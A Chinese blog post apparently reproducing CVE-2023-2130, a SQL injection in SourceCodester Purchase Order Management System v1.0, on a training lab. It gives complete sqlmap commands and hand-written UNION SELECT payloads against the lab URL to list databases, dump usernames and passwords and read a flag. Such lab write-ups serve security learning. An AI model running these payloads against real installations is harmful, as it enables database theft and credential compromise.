路漫漫其修远兮,吾将上下而求索

导航

SourceCodester v1.0 SQL注入漏洞(CVE-2023-2130)靶场复现

SourceCodester Purchase Order Management System v1.0 是一个实用的工具,适合希望优化采购流程的企业和组织

靶场界面
image

直接放sqlmap跑
image

爆数据库
image
爆数据表
image
爆字段
image
image
爆内容-用户名
image
爆内容-密码
image
sqlmap的md5碰撞
image

sqlmap所有命令

点击查看代码
爆数据库
python sqlmap.py -u "http://eci-2zea4q7akj7lo8r4mja0.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --dbs

爆指定数据库的数据表
python sqlmap.py -u "http://eci-2zea4q7akj7lo8r4mja0.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" -D purchase_order_db --tables

爆指定数据库的指定数据表的字段列
python sqlmap.py -u "http://eci-2zea4q7akj7lo8r4mja0.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" -D purchase_order_db -T users --columns

爆指定数据库的指定数据表的指定字段列的内容
python sqlmap.py -u "http://eci-2zea4q7akj7lo8r4mja0.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" -D purchase_order_db -T users -C "username" --dump

管理员界面
image

爆flag
image

手工注入:
8个字段时候有数据,9个为空
image
image

2,3,4,5,6有回显
1' and 1=2 union select 1,2,3,4,5,6,7,8--+
image

查当前数据库、当前用户、数据库版本
1' and 1=2 union select 1,database(),user(),version(),5,6,7,8--+
image

通过数据库自带information_schema.tables查所有数据库名
http://eci-2zea4q7akj7lo8r4mja0.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='purchase_order_db'--+
image
image

查fllllaaaag表的字段列(已在当前数据库)
http://eci-2ze6buxrzwtuwusbgpsw.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name='fllllaaaag'--+
image

联合查询fllllaaaag表的flag列的内容(已在当前数据库)
http://eci-2ze6buxrzwtuwusbgpsw.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1' and 1=2 union select 1,flag,3,4,5,6,7,8 from fllllaaaag--+
image

参考:
[春秋云镜] CVE-2023-2130-CSDN博客

SourceCodester v1.0 SQL 注入漏洞(CVE-2023-2130)-CSDN博客

元数据库 information_schema.tables - 金天黑日 - 博客园

posted on 2024-08-05 17:26  爱在西元间  阅读(242)  评论(0)    收藏  举报